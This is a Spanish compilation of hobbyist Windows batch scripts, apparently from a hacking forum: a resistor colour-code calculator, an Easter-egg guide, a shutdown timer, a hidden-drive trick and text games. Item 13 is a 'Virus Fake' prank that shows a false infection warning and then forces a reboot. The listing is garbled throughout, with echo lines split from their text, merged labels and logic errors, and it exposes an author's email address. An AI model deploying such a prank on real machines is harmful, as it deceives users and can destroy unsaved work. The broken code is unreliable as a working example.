set /a valor= %v%%u% * %o%
echo.
echo
CREATED BY URI++
echo.
echo
EL VALOR DE TU RESISTENCIA ES = %valor% OHM'S
echo,
echo TUS VALORES INTRODUCIDOS FUERON %v% %u% %o%
echo.
echo POR LO TANTO LA MULTIPLICACION ES : %v%%u% X %o% = %valor%
echo.
pause
goto ini]@echo off
:ini
color 0f
cls
title codigo de colores BY URI++
echo.
echo
HOLA ! ESTE ES UN PEQUENO PROGRAMA
echo
PARA SACAR EL VALOR DE LAS RESISTENCIAS
echo
MEDIANTE EL CODIGO DE COLORES
echo.
echo
CREATED BY URI++

echo.
echo.
echo 1.- VER CODIGO DE COLORES
echo.
echo 2.- SACAR EL VALOR DE LAS RESISTENCIAS
echo.
set /p ver=
ELIJE UNA OPCION :
if %ver%== 1 goto ver
if %ver%== 2 goto conv
if not defined %ver% goto ini
:ver
cls
echo
+++++++++++++++++
echo
CODIGO DE COLORES
echo
=================
echo
NEGRO == 0
echo.
echo
CAFE == 1
echo.
echo
rojo == 2
echo.
echo
naranja == 3
echo.
echo
amarillo == 4
echo.
echo
verde == 5
echo.
echo
azul == 6
echo.
echo
violeta == 7
echo.
echo
gris == 8
echo.
echo
blanco == 9
pause>nul
goto ini
:conv
cls
set negro == 0
set cafe == 1
set rojo == 2
set naranja ==3
set amarillo == 4
set verde == 5
set azul == 6
set violeta == 7
set gris == 8
set blanco == 9
cls
set /p v= introduce el color de la primera franja :
if %v%==negro set v=1
if %v%==cafe (set v=1)
if %v%==rojo (set v=2)
if %v%==naranja (set v=3)

if %v%==amarillo (set v=4)


if %v%==verde (set v=5)
if %v%==azul (set v=6)
if %v%==violeta (set v=7)
if %v%==gris (set v=8)
if %v%==blanco (set v=9)
cls
COLOR 0A
set /p u= introduce el color de la segunda franja :
if %u%==negro set u=1
if %u%==cafe (set u=1)
if %u%==rojo (set u=2)
if %u%==naranja (set u=3)
if %u%==amarillo (set u=4)
if %u%==verde (set u=5)
if %u%==azul (set u=6)
if %u%==violeta (set u=7)
if %u%==gris (set u=8)
if %u%==blanco (set u=9)
cls
COLOR 0d
set /p o= introduce el numeo de la tercera franja :
if %o%==negro set o=1
if %o%==cafe (set o=10)
if %o%==rojo (set o=100)
if %o%==naranja (set o=1000)
if %o%==amarillo (set o=10000)
if %o%==verde (set o=100000)
if %o%==azul (set o=1000000)
if %o%==violeta (set o=10000000)
if %o%==gris (set o=100000000)
if %o%==blanco (set o=1000000000)
if %o%==dorado (set o=1/10)
if %o%==plateado (set o=1/100)
cls
set /a valor= %v%%u% * %o%
echo.
echo
CREATED BY URI++
echo.
echo
EL VALOR DE TU RESISTENCIA ES = %valor% OHM'S
echo,
echo TUS VALORES INTRODUCIDOS FUERON %v% %u% %o%
echo.
echo POR LO TANTO LA MULTIPLICACION ES : %v%%u% X %o% = %valor%
echo.
pause
goto ini
10.-Batch grafico By LeoN
Este batch es una presentacion grafca, util para el inicio de algun batch, Si te gusta el
efecto busca el tutorial de LeoN en el foro :)
@echo off &title LeoN -.^^ &color 0A
@mode con cols=75 lines=18

color
echo.
echo.

echo.

echo.

echo.

Interfaz Grafica
echo.

echo.

En Batch

echo.

echo.

By LeoN

echo.

echo.

echo.

echo.
echo.

echo.

Pulsa cualquier tecla para salir...

-.^^
echo.

pause >nul
exit
9.-Mi propio grafico en batch XD (esto lo aprendi cuando lei el tuto de LeoN) :)
@echo off
echo
echo
echo

echo

echo

echo


echo


echo

echo

echo

echo

echo

echo

echo

echo

echo

echo

echo

echo

echo

echo

echo

echo

echo

echo
echo
echo
pause

10.- Eggilus By Halsenheim


Este es un programa que hise para compartir en el foro, se trata de un exe que ensea y
muestra acerca de una serie de huevos de pascua escondidos es distintos programas que
actualmente la gente usa.
Junto con los ejemplos y las demostraciones que hace, le adjunte un huevo de pascua

dentro del codigo.


Este huevo en una variante del grafico de la hoja que hise un tiempo antes, solo que lo
modifique agregandole funciones del code de Matt y Carlos que aun estoy estudiando, de
manera que me quedo esta imagen.

jeje quise mostrar el resultado porque me gusto mucho como quedo la imagen ademas si
alguien no puede encontrar el huevo es ese :) , por cierto, si te preguntas porque lo
publique como exe en el foro es porque no tiene gracia poner un huevo de pascua en un
programa y que todos lo descubran por el codigo en lugar de verlo desde el exe que si
tiene mucha gracia XD.
De todos modos ahi va el code:
@echo off
Title Huevos de pascua
if ["%1"]==["halsenheim"] (goto:huev) else (goto:contin)
::-----------------------------:: MARCA PERSONAL
:huev

SETLOCAL ENABLEEXTENSIONS
CALL :CECHO 0A " "
CALL :CECHO 0A " "
CALL :CECHO 0A "
"
CALL :CECHO 0A "
"
CALL :CECHO 0A "
"
CALL :CECHO 0E "

"
CALL :CECHO 0E "

"
CALL :CECHO 0E "

"
CALL :CECHO 0E "

"
CALL :CECHO 0E "

"
CALL :CECHO 0C "

"
CALL :CECHO 0C "

"
CALL :CECHO 0C "

"
CALL :CECHO 0C "

"
CALL :CECHO 0C "

"
CALL :CECHO 0A "

"
CALL :CECHO 0A "

"
CALL :CECHO 0A "
"
CALL :CECHO 0A "
"
CALL :CECHO 0A "
"
CALL :CECHO 0E "
"
CALL :CECHO 0E "
"
CALL :CECHO 0E "

"
CALL :CECHO 0E "
"
CALL :CECHO 0E " "
CALL :CECHO 0A " "

::-------------------echo

echo
Marihuarte
By Halsenheim
echo

echo.
echo La paciencia es la llave de toda ciencia !!
::-------------------PAUSE >> null
EXIT /B 0

:CECHO
SETLOCAL ENABLEEXTENSIONS ENABLEDELAYEDEXPANSION
PUSHD "%USERPROFILE%\"
IF EXIST COLOR DEL /F /Q /A COLOR > NUL 2>&1
IF EXIST COLOR\ RD /S /Q COLOR > NUL 2>&1
MD COLOR
CD COLOR
SET
SET
SET
SET

"C="
"L1="
"L2="
"L3="

SET "C=%~1"
ECHO.!C!|FINDSTR /R /I "\<[0-9A-F][0-9A-F]\>" > NUL || (
ECHO. DEBE ESPECIFICARSE UN COLOR HEXADECIMAL.
ECHO. COLOR /?
EXIT /B 1
)
SET /A "TAM=0"
SET "L1=%~2"

SET "L2=%~3"
SET "L3=%~4"
IF NOT DEFINED L2 (
SET "L1="
SET "L2=%~2"
SET "L3="
)
CALL :CLEAN C
CALL :CLEAN L1
CALL :CLEAN L2
CALL :CLEAN L3
IF DEFINED L2 CALL :LEN "%L2%"
IF %TAM% GTR 150 (
ECHO.
ECHO.TEXTO COLOREADO REDUCIDO A 150 CARACTERES DE LONGITUD
ECHO.
)
IF DEFINED L2 SET "L2=%L2:~0,150%"
IF DEFINED L2 ECHO.%L3%>"%L2%"
0>NUL SET /P "_=%L1%"
FINDSTR.EXE /A:%C% /R "^" "*"
POPD
IF EXIST "%USERPROFILE%\COLOR" DEL /F /Q /A "%USERPROFILE%\COLOR" > NUL 2>&1
IF EXIST "%USERPROFILE%\COLOR\" RD /S /Q "%USERPROFILE%\COLOR" > NUL 2>&1
:LEN
SETLOCAL ENABLEEXTENSIONS DISABLEDELAYEDEXPANSION
SET /A CONTL=0
SET "WORDL=%~1"
:_LOOPL
IF NOT DEFINED WORDL (GOTO :_ENDL)
SET "WORDL=%WORDL:~1%"
SET /A CONTL +=1
GOTO :_LOOPL
:_ENDL
ENDLOCAL & SET /A TAM=%CONTL%
EXIT /B 0
:CLEAN
@SETLOCAL ENABLEEXTENSIONS ENABLEDELAYEDEXPANSION
@SET "V=%*"
@SET "S=!%V%!"
@IF NOT DEFINED S EXIT /B 1
@SET "V="
:LOOP
@FOR %%* IN (
""ABECHILMNRSTUY
) DO @IF /I "!S:~0,1!" EQU "%%~*" SET "V=!V!!S:~0,1!"
@SET "S=!S:~1!"
@IF DEFINED S GOTO :LOOP
@(ENDLOCAL & SET %*=%V%)
@SETLOCAL ENABLEEXTENSIONS

@EXIT /B 0
::-----------------------------::--------------------:contin
:: PRESENTACION
echo.
echo.
echo.
echo.
echo.
echo
echo
echo
echo
echo
echo
echo
echo
echo
echo.
echo.
echo.
echo.
echo.
echo.
pause

#
#
##################
#
#
# Eggilus #
#
By
#
# Halsenheim #
#
#
##################
#
XD
#

::--------------------cls
echo
Que son los huevos de pascua?
echo.
echo Los huevos de pascua en informatica son conocido como sorpresas ocultas por
echo los diseadores de sistemas operativos, programas e incluso en paginas web...
echo.
echo Google,por ejemplo,ha sorprendido ultimamente por su gran cantidad de
echo trucos y opciones que pocos conocen y a medida que el tiempo pasa se
echo divulgan entre la gente, en resumen son como los trucos de los juegos,
echo pero en software. XD
echo.
echo.
pause
:main
cls
:: MENU:
echo Que te area te llama la atencion?
echo.
echo 1-Eggs de Google
echo 2-Eggs de Microsoft
echo 3-Eggs de programas varios
echo 4-Egg dentro de este programa (y a poco creias que no le puse uno jeje)
echo 5-Salir

set/p men=
if not defined men (goto:main)
if ["%men%"]==["1"] (goto:goog)
if ["%men%"]==["2"] (goto:micro)
if ["%men%"]==["3"] (goto:vari)
if ["%men%"]==["4"] (goto:info)
if ["%men%"]==["5"] (goto:salir)
if not ["%men%"]==["1"] if not ["%men%"]==["2"] if not ["%men%"]==["3"] if not
["%men%"]==["4"] if not ["%men%"]==["5"] ( goto:main )
::--------------------:goog
cls
echo
HUEVOS DE PASCUA EN GOOGLE
echo.
echo 1-La horda de los Zerg
echo 2-La pantalla inclinada
echo 3-La calculadora google (utilidad)
echo 4-Pantalla en giro 360
echo 5-Google victima de la gravedad
echo 6-EXTRA: El juego de la seriente (Snake) en youtube
echo 7-Volver al menu principal
echo.
set/p gom="Escoge un numero: "
if not defined gom (goto:goog)
if ["%gom%"]==["1"] (goto:zerg)
if ["%gom%"]==["2"] (goto:incli)
if ["%gom%"]==["3"] (goto:calc)
if ["%gom%"]==["4"] (goto:360)
if ["%gom%"]==["5"] (goto:gravi)
if ["%gom%"]==["6"] (goto:extr)
if ["%gom%"]==["7"] (goto:main)
if not ["%gom%"]==["1"] if not ["%gom%"]==["1"] if not ["%gom%"]==["1"] if not
["%gom%"]==["1"] if not ["%gom%"]==["1"] if not ["%gom%"]==["1"] if not ["%gom
%"]==["1"] (goto:goog)
:Zerg
cls
echo
La horda de los Zerg
echo.
echo Este es un juego de disparo en el cual las letras "o" de google invaden el
echo resultado de tu busqueda devorando todos tus resultados, lo unico que puedes
echo hacer es intentar matar al interminable batallon zerg haciendo click en ellos,
echo esta es una parodia del juego "Star Craft" donde los zerg son hordas de aliens.
echo.
pause
start http://www.google.es/search?q=zerg+rush&rls=com.microsoft:es&ie=UTF8&oe=UTF-8&startIndex=&startPage=1
goto:goog
:incli
cls
echo

La pantalla de google inclinada

echo.
echo En google busca "Tilt", te aparecera algo como esto...
echo.
pause >>null
start http://www.google.es/search?q=tilt&rls=com.microsoft:es&ie=UTF-8&oe=UTF8&startIndex=&startPage=1
goto:goog

:calc
cls
echo
La calculadora (utilidad)
echo.
echo Esta utilidad es bastante interesante, no es un huevo de pascua, sin embargo
echo me parecio necesario que la conocieras. Es una calculadora con opcion de octal,
echo hexadecimal y vinario como tipos de numeros, sin mencionar las 4 funciones
echo basicas de la matematicas en numeros enteros y muchas cosas mas.
echo te dejo la tare de desarrollarte en ella y de paso conoces las demas
echo aplicaciones que google tiene para ti..
echo.
pause >> null
start http://www.google.es/intl/es-419/help/features.html#calculator
goto:goog

:360
cls
echo
La pantalla haciendo un giro en 360:
echo.
echo Si escribimos "Do a barrel roll" en la barra de busquedas toda la pantalla
echo dara una vuelta..
pause >> null
start http://www.google.es/search?q=do+a+barrel+roll&rls=com.microsoft:es&ie=UTF8&oe=UTF-8&startIndex=&startPage=1
goto:goog

:gravi
cls
echo
Google Gravity:
echo.
echo si lo escribimos y pulsamos el botn voy a tener suerte aplica gravedad a
echo todos los elementos del buscador, cayendo por su propio peso en la parte baja
echo de la pantalla. Lo mismo ocurre con los resultados de bsquedas realizadas as.
echo.
pause
start http://mrdoob.com/projects/chromeexperiments/google-gravity/
goto:goog
:extr

cls
echo
El "juego de la serpiente" en youtube
echo.
echo Haz notado que mientras se carga un video aparece una especie de circulo
echo incompleto girando? ... pues no esperes mas !. Entra a youtube, pon cualquier
echo video y cuando aparezca el circulo pon pausa y mueve las teclas con forma de
echo flecha de tu teclado, veras que aparece el mitico juego de la serpiente.
echo.
echo Anda intentalo !!
pause >> null
start www.youtube.com
goto:goog

::--------------------:micro
cls
echo
Huevos de pascua en Microsoft
echo.
echo 1-Las torres gemelas de word
echo 2-Pelicula Star Wars en cmd
echo 3-Volver almenu principal
echo.
set/p win="Escoge un numero: "
if not defined win (goto:micro)
if ["%win%"]==["1"] (goto:torre)
if ["%win%"]==["2"] (goto:tarw)
if ["%win%"]==["3"] (goto:main)
if not ["%win%"]==["1"] if not ["%win%"]==["2"] if not ["%win%"]==["3"] (goto:micro)

:torre
cls
echo
Microsoft Word - Torres Gemelas
echo.
echo.
echo 1. Abre Microsoft Word.
echo 2. Escribe en Mayusculas Q33NY (Q33 es el Nombre del Primer Avion que
echo se estrello en las Torres Gemelas y NY las siglas de New York)
echo 3. Aumenta el Tamao de la Letra a 72.
echo 4. Cambia la Fuente de la Letra a Wingdings.
echo.
echo Podras Ver una Sorpresita en este Programa...
pause >> null
goto:micro
:tarw
cls
echo
Pelicula de Star Wars en cmd Windows
echo.
echo Para usar este truco tienes que tener instalado / habilitado el telnet

echo en tu pc y tener abierto el puerto 23, sin embargo si lo consigues valdra


echo la pena el esfuerzo. Una vez estando seguro de que esta todo bien escribe
echo lo siguiente en la consola cmd de windows:
echo.
pause
echo.
echo telnet towel.blinkenlights.nl
echo.
echo aparecera la pelicula Star Wars en la consola...
pause >> null
goto:micro
::--------------------:vari
cls
echo
Eggs de Programas varios
echo.
echo.
echo 1-Navegador Firefox
echo 2-Open Office
echo 3-WinRaR
echo 4-UTorrent
echo 5-Volver al menu principal
echo.
set/p prog="Escoge un numero: "
if not defined prog (goto:vari)
if ["%prog%"]==["1"] (goto:firex)
if ["%prog%"]==["2"] (goto:open)
if ["%prog%"]==["3"] (goto:wrar)
if ["%prog%"]==["4"] (goto:utorn)
if ["%prog%"]==["5"] (goto:main)
if not ["%prog%"]==["1"] if not ["%prog%"]==["2"] if not ["%prog%"]==["3"] if not
["%prog%"]==["4"] if not ["%prog%"]==["5"] (goto:vari)
:firex
cls
echo
Firefox y About
echo.
echo.
echo Si tienes el mozilla firefox instalado en tu pc solo abrelo y escribe en
echo la barra de direcciones "about:Mozilla" sin comillas, te aparecera un
echo verso del libro de mozilla, una especie de profecia que muchos explican
echo como la competencia entre firefox y el Internet explorer, aunque si hay
echo que reconocer que es un poco escalofriante...
echo.
echo Ahora, para mejorarte del susto escribe "about:robot" sin comillas y
echo veras un robot amigable que te curara del susto XD
echo.
pause
goto:vari

:open
cls
echo
Open office
echo.
echo star wars:
echo =GAME("StarWars")
echo.
echo Escribe ese texto en una hoja de calculo de open office y presiona enter,
echo veras una version del juego space invaders, con personajes como terminator
echo y otros mas, que lo disfrutes XD.
echo.
echo.
echo El team open 1:
echo =StarCalcTeam()
echo.
echo Escribe ese texto en una hoja de calculo de open office y presiona enter,
echo veras una foto del team de calculo de open office :)
echo.
echo.
echo El team open 2:
echo StarWriterTeam
echo.
echo Escribelo lo anterior en una hoja de procesamiento de texto open office y
echo presiona "f3" , veras al team encargado del procesador de texto open XD
pause
goto:vari
:wrar
cls
echo
Efectos en el Logo de WinRAR:
echo.
echo.
echo 1-Efecto:
echo.
echo 1. Abre WinRAR.
echo 2. Clic en Ayuda, Acerca de WinRAR.
echo 3. Haz Clic en los Libros y vers como Caen.
echo.
echo.
echo 2-Efecto:
echo.
echo 1. Abre WinRAR.
echo 2. Clic en Ayuda, Acerca de WinRAR.
echi 3. Haz Clic en el Logo y vers Moverse el Agua de la Playa.
echo.
echo.
echo 3-Efecto:
echo.
echo 1. Abre WinRAR.
echo 2. Clic en Ayuda, Acerca de WinRAR.
echo 3. Pulsa la Tecla Shift + Clic en el Logo y vers un Barco de Vela.
echo.
pause
goto:vari

:utorn
cls
echo
Utorrent
echo.
echo.
echo Si tienes utorent instalado en tu pc, ve a "acerca de uTorrent" y
echo presiona la tecla T, ah mismo se abre una nueva ventana con el
echo Tetris para jugar.
echo.
pause
goto:vari

::---------------------------------:info
cls
echo
Como ver el huevo de pascua de este programa
echo.
echo Sigue estos pasos y te revelare mi propio huevo de pascua XD
echo.
echo 1- Abre una ventana cmd, o consola Windows, como quieras decirle...
echo 2- Tienes que acceder a la ruta donde guardaste el programa por medio
echo de "cd", si te complica guarda el programa en "mis documentos"
echo 3- Escrive Eggilus.exe si tienes el exe o Egg.bat ti tienes el bat
echo seguido de la palabra clave o "comando oculto", en este caso sera
echo "halsenheim" asi todo junto.
echo.
echo RESULTADO: abrira un simpatico dibujillo :) espero te guste !!
echo.
pause
goto:main
:salir
pause && exit

11.- AutoShut By Halsenheim


Este es un Bat que estblece un cuadro de menus, donde te da distintas opciones de
apagado para el PC, no pesa casi nada y esta a la altura de muchos programas de pago
que existen hoy en dia. (cla clave es halsenheim)
@echo off
title Apagado automatico
echo Este es el programa para apagar windows en cuenta regresiva echo en batch...
echo Sirve para dejar tus descargas corriendo y acostarte un rato jeje :D
echo.
pause
cls
goto:loggin
:main
cls
echo no ingresaste nada, vuelve e intentarlo
echo.
pause
:loggin
cls
set/P pass="Para usar el programa ingresa el Pass: "
If not defined pass (goto:main)
if ["%pass%"]==["halsenheim"] (goto:bien) else (goto:mal)
:mal
cls
echo Incorrecta, intentalo denuevo
echo.
pause
goto:loggin
:bien
cls
echo Bien hecho !!
echo.
echo ...Puedes continuar...
pause>>null

:ini
cls
echo Como deseas apagar windows?
echo.
echo 1 Apagar con opciones de tiempo predefinidas
echo 2 Apagar ingresando el tiempo manualmente (avanzado)
echo 3 Apagar ahora !
echo 4 Cancelar cuenta regresiva (cancelar programacion previa)
echo 5 Salir sin realizar ninguna accion
echo.
set/P opc="Ingresa el numero segun tu eleccion: "
if not defined opc (goto:ini)
if ["%opc%"]==["1"] (goto:predef)
if ["%opc%"]==["2"] (goto:man)
if ["%opc%"]==["3"] (shutdown -s -f -t 2

echo El equipo se apagara en ahora !!


pause>>null)
if ["%opc%"]==["4"] (
shutdown /a
goto:salir)
if ["%opc%"]==["5"] (
cls
echo El equipo no se apagara
echo Pero si ya estaba programado de antes seguira su curso...
goto:salir)
if not ["%opc%"]==["1"] if not ["%opc%"]==["2"] if not ["%opc%"]==["3"] if not ["%opc
%"]==["4"] if not ["%opc%"]==["5"] (
echo "Debes introducir 1, 2 o 3. BAKA XD"
echo Presiona enter y vuelve a intentarlo
pause>nul
goto:ini)
:predef
cls
echo seleccione una opcion de la lista:
echo.
echo 1 El equipo se apagara en 35 minutos
echo 2 El equipo se apagara en 1 hora
echo 3 El equipo se apagara en 1 hora y 30 minutos
echo 4 El equipo se apagara en 2 horas
echo 5 El equipo se apagara en 3 horas y 30 minutos
echo 6 El equipo se apagara en 6 horas (baya que descarga no?)
echo.
set/p elec="Ingresa la opcion elegida: "
if ["%elec%"]==["1"] (shutdown -s -f -t 2100
echo El equipo se apagara en 35 minutos
goto:salir)
if ["%elec%"]==["2"] (shutdown -s -f -t 3600
echo El equipo se apagara en 1 hora
goto:salir)
if ["%elec%"]==["3"] (shutdown -s -f -t 5400
echo El equipo se apagara en 1 hora y 30 minutos
goto:salir)
if ["%elec%"]==["4"] (shutdown -s -f -t 7200
echo El equipo se apagara en 2 horas
goto:salir)
if ["%elec%"]==["5"] (shutdown -s -f -t 12600
echo El equipo se apagara en 3 horas y 30 minutos
goto:salir)
if ["%elec%"]==["6"] (shutdown -s -f -t 21600
echo El equipo se apagara en 6 horas
goto:salir)
if not defined elec (goto:predef)
if not ["%elec%"]==["1"] if not ["%elec%"]==["2"] if not ["%elec%"]==["3"] if not ["%elec
%"]==["4"] if not [%elec%"]==["5"] if not ["%elec%"]==["6"] (
echo "Debes introducir del 1 al 6 BAKA XD"
echo Presiona enter y vuelve a intentarlo
pause>>null
goto:predef)

:man
set/p min= "Ingresa el tiempo en minutos: "
set/a mul=min%*60
echo entonces el equipo se apagara en %min% minutos
shutdown -s -f -t %mul%
cls
pause>>null
:salir
cls
echo.
echo.
echo.
echo.
echo.
echo.
echo.
echo.
echo.
echo
GRACIAS POR USAR ESTE PROGRAMA!!
echo.
pause
cls
echo.
echo.
echo.
echo.
echo.
echo.
echo.
echo.
echo.
echo
Si tienes alguna duda porfavor hazmela saver en:
echo
- www.hackxcrak.es usuario halsenheim (mensaje interno)
echo
- mail: osmendezr1@hotmail.com
echo
- O en el mismo post publicado en hackxcrack ;)
echo.
pause
cls
echo.
echo.
echo.
echo.
echo.
echo.
echo.
echo.
echo.
echo
O si me puedes ayudar a aprender mas o dar sugerencias?
echo
SE AGRADECERIA MUCHO !! :D
echo
----AGRADECIMIENTOS---echo.
echo
Menrva y Facu, que me ayudaron en un bug clave para este batch
echo.
echo Pulsa una tecla para continuar...

echo (La ventana se cerrara pero el programa seguira ejecutandose)


pause>>null
cls
echo.
echo.
echo.
echo.
echo
#
#
echo
#################
echo
# Creado por: #
echo
# Halsenheim #
echo
#################
echo
#
XD
#
pause>>null

12.-Unidad virtual de disco duro (Disco oculto)


Si haz visto Harry Potter esta es como la sala de menesteres, te permite crear un disco y
utilizarlo a tu antojo y luego de has terminado de utilizarlo, cierras sesion y el disco
desaparecera con toda la informacion hasta que lo vuelvas a abrir mostrandote toda la
informacion que tenias oclta dentro. La clave es uriel y el autor debe ser el mismo...
@echo off
color 0a
title Virtual disk Acces Software
set /p username= teclea tu nombre :
:ini
cls
echo.
echo ===========================
echo
Bienvenido %Username%
echo.
echo ===========================
echo.
echo - 1.Configurar Aceso
echo - 2.Abrir Sesion de Unidad u:
echo - 3.Acceder a u:
echo - 4.Cerrar Sesion de Unidad u:
echo.
echo.
echo --------------------------------------Set /p ini= ELija:
If %ini%== 1 goto 1
If %ini%== 2 goto 2
If %ini%== 3 goto 3
If %ini%== 4 goto 4
:1
md c:\hdvirtual
attrib +h c:\hdvirtual

echo ya puede continuar con el siguiente paso


pause>nul
goto ini
:2
echo.
Set /p pw= Password:
If %pw%==uriel (goto :acces) else (goto :no)
:acces
subst u: c:\hdvirtual
echo en un instante se abrira su unidad virtual
pause
goto ini
:3
start u:
goto acces
:4
subst u: /d
echo nos vemos!!
pause
goto no
:no
exitVirus fake

13.- Virus Fake

Es muy basico... :) no me dio la gana de hacerlo mas comlejo


Esta es una broma, aunque creo que ya tienes claro lo muy daino que puede resultar el
batch XD
msg * Su pc ha sido afectado por un virus, desea eliminarlo?
msg * El virus no ha podido ser eliminado, borrando archivos del sistema... espere
shutdown /r /f /t 21

Juegos hechos en Batch


14.- Formula 1
Es el clasico juego se autos llebado a un bat, a puesto que te sorprende :)
@Echo off
@title Cars
@mode con cols=15 lines=13
::Batch Game F1 Cars
::Coded by SmartGenius
setlocal enabledelayedexpansion
If Not Exist "keyboard.exe" (Call :NoKey)
:Menu
Cls
Echo.
Echo. F1 Car Game
Echo.
Echo. Presione
Echo. Enter
Echo.
Pause >nul
:Vars
Set "LimX=10"
Set "LimY=10"
Set "LimI=3"
Set "LimD=9"
Set "Last= "
Set "CurPos=X3Y3"
:Init
Call :Level
For /l %%a in (0,1,%LimX%) do (
For /l %%b in (0,1,%LimY%) do (
Set X%%aY%%b=!Lin_%%a:~%%b,1!))
Set "Car=X3Y3,X2Y2,X4Y2,X3Y2,X3Y1,X2Y0,X4Y0"
For %%a in (%Car%) do (Set "%%a=")
:Graphic
Call :Clear
For /l %%d in (0,1,%LimX%) do (
For /l %%e in (0,1,%LimY%) do (
Set LN_%%d=!LN_%%d!!X%%eY%%d!))
Echo. F1 Car Game
For /l %%f in (%LimY%,-1,0) do (echo. -!LN_%%f!-)
keyboard
if "%errorlevel%"=="77" (call :Mov_D)
if "%errorlevel%"=="75" (call :Mov_I)
if "%errorlevel%"=="27" (Exit)
Call :Abajo
Call :Colision "%CurPos%" "%Car2%" "%Car3%"

Goto :Graphic
:Mov_D
If "%BoundD%"=="True" Goto :Eof
Set "BoundI=False"
Set "P=0"
For %%a in (%Car%) do (
Set /a P+=1
Call :MovX+ %%a Car!P!
)
Set "Car=%Car1%,%Car2%,%Car3%,%Car4%,%Car5%,%Car6%,%Car7%"
Set "CurPos=%Car1%"
Goto :Eof
:Mov_I
If "%BoundI%"=="True" Goto :Eof
Set "BoundD=False"
Set "P=0"
For %%a in (%Car%) do (
Set /a P+=1
Call :MovX- %%a Car!P!
)
Set "Car=%Car1%,%Car2%,%Car3%,%Car4%,%Car5%,%Car6%,%Car7%"
Set "CurPos=%Car1%"
Goto :Eof
:MovX+
for /f "tokens=1,2 delims=X,Y" %%p in ("%~1") do (
if !%~1!== set %~1=%Last%
set /a MovX=%%p+1
call set Last=%%X!MovX!Y%%q%%
If "%Last%"=="" (Goto :Lost)
set X!MovX!Y%%q=
set %2=X!MovX!Y%%q
if !P!==7 (if "%%p"=="%LimD%" Set BoundD=True)
)
Goto :Eof
:MovXfor /f "tokens=1,2 delims=X,Y" %%p in ("%~1") do (
if !%~1!== set %~1=%Last%
set /a MovX=%%p-1
call set Last=%%X!MovX!Y%%q%%
If "%Last%"=="" (Goto :Lost)
set X!MovX!Y%%q=
set %2=X!MovX!Y%%q
if !P!==7 (if "%%p"=="%LimI%" Set BoundI=True)
)
Goto :Eof
:Abajo
If "%Mov%"=="55" Goto :Win
Set /a Mov=Mov+1
For /l %%d in (0,1,%LimY%) do (Set LN_%%d=!Lin_%%d:~%Mov%!)

For /l %%a in (0,1,%LimX%) do (


For /l %%b in (0,1,%LimY%) do (
Set X%%aY%%b=!LN_%%a:~%%b,1!))
For %%c in (%Car%) do (Set "%%c=")
Goto :Eof
:Colision
If "%~1"=="" (Goto :Eof)
for /f "tokens=1,2 delims=X,Y" %%p in ("%~1") do (
set /a MovY=%%q+1
call set NMovY=%%X%%pY!MovY!%%
if "!NMovY!"=="" (Goto :Lost)
)
Shift
Goto :Colision
:Lost
cls
Echo.
Echo. Te has
Echo. Estrellado
Echo.
Echo.
Ping -n 3 0.0.0.0 >nul
msg * Gracias por Jugar F1 Cars
Exit
:Win
Cls.
Echo.
Echo. Has Ganado!
Echo.
Echo. Felicidades
Echo.
Echo.
Ping -n 3 0.0.0.0 >nul
msg * Gracias por Jugar F1 Cars
Exit
:Clear
For /l %%m in (0,1,%LimX%) do (set LN_%%m=)
Goto :Eof
:Level
:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
Set Lin_0=

+
Set Lin_1=

+
Set Lin_2=

+
Set Lin_3=
+
Set Lin_4=

+
Set Lin_5=

+
Set Lin_6=

+
Set Lin_7=

+
Set Lin_8=

+

Set Lin_9=

+
Set Lin_10=

+
:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
Goto :Eof
:NoKey
Cls
echo.
echo. Cargando...
call :Keyboard
Goto :Eof
:Keyboard
(
echo n keyboard.dat
echo e 0000 4D 5A 2E 00 01 00 00 00 02 00 00 10 FF FF F0 FF
echo e 0010 FE FF 00 00 00 01 F0 FF 1C 00 00 00 00 00 00 00
echo e 0020 B4 08 CD 21 3C 00 75 02 CD 21 B4 4C CD 21
echo rcx
echo 002E
echo w0
echo q
echo.
)>keyboard.dat
type keyboard.dat|debug>NUL 2>&1
del /f/q/a "keyboard.exe">NUL 2>&1
ren keyboard.dat "keyboard.exe"
Goto :Eof
15.- Space invader en Batch
@Echo off
@title Space Invaders v 1
@mode con cols=29 lines=25
:: Batch Game - Space Invaders v 1
:: Coded by SmartGenius
:: SmartGenius, Corp. 2010
Choice /N /T:Y,1 >Nul 2>&1
If "%Errorlevel%"=="9009" (Echo. CHOICE command not found&Pause&Exit)
Set "Game=%0"
Call :Logo
:Menu
Cls
Echo.
Echo.
Echo. Space Invaders v 1
Echo.
Echo.

Echo. 1. Play Game


Echo.
Echo.
Echo. 2. How to Play
Echo.
Echo.
Echo. 3. Exit Game
Echo.
Echo.
CHOICE /C:123 /N >nul
REM CHOICE /C 123 /N >nul
If "%errorlevel%"=="1" (Goto :Load)
If "%errorlevel%"=="2" (Goto :Help)
If "%errorlevel%"=="3" (Goto :End)
Goto :Menu
:Load
Setlocal enabledelayedexpansion
Set /a "LimX=19","LimY=16","TBound=0","LBound=0","Turn=1","Points=0"
Set /a "RBound=%LimX%","BBound=%LimY%"
:Init
For /l %%a in (0,1,%LimX%) do (
For /l %%b in (0,1,%LimY%) do (
Set "X%%aY%%b= "))
Set "Bound="
Set "Bound2="
Set "Invader=#"
Set "Shot=o"
:Main
Call :Map
Call :Player
Call :Graphic
Goto :Main
:Graphic
Call :Clear
Cls
Echo.
Echo. Space Invaders by Smart
Echo.
Echo. Points:%Points%
Echo.
For /l %%f in (0,1,%LimY%) do (Echo. !Lin_%%f!)
Echo.
Call :MovFire
If "%N_Invaders%"=="0" Goto :Win
Call :Move
Call :MovPC
Goto :Graphic
:Move
:: Normal CHOICE (provided into ZIP package)

REM CHOICE /C WADXC /N >nul


:: Windows 7 or x64 system CHOICE (uncomment)
CHOICE /C:WADXC /N
If "%errorlevel%"=="1" (Call :Fire)
If "%errorlevel%"=="2" (Call :MovS "Player" "Bound" "-" "L")
If "%errorlevel%"=="3" (Call :MovS "Player" "Bound" "+" "R")
If "%errorlevel%"=="4" (Goto :Menu)
If "%errorlevel%"=="5" (Call :MovCR)
Goto :Eof
::::::::::::::::::::::::::::::::::::::::
:Fire
For /f "tokens=4 delims=," %%f in ("%Player%") do (
For /f "tokens=1,2 delims=X,Y" %%g in ("%%f") do (
Set /a "NewF=%%h-1"
Set "X%%gY!NewF!=%Shot%"
Set "Shots=%Shots%,X%%gY!NewF!"
))
Goto :Eof
:MovFire
Set "TmpShots="
For %%s in (%Shots%) do (
Call :CkFire "%%s" "TmpCoord" "TmpVal"
If "!TmpVal!"==" " (
Set "%%s= "
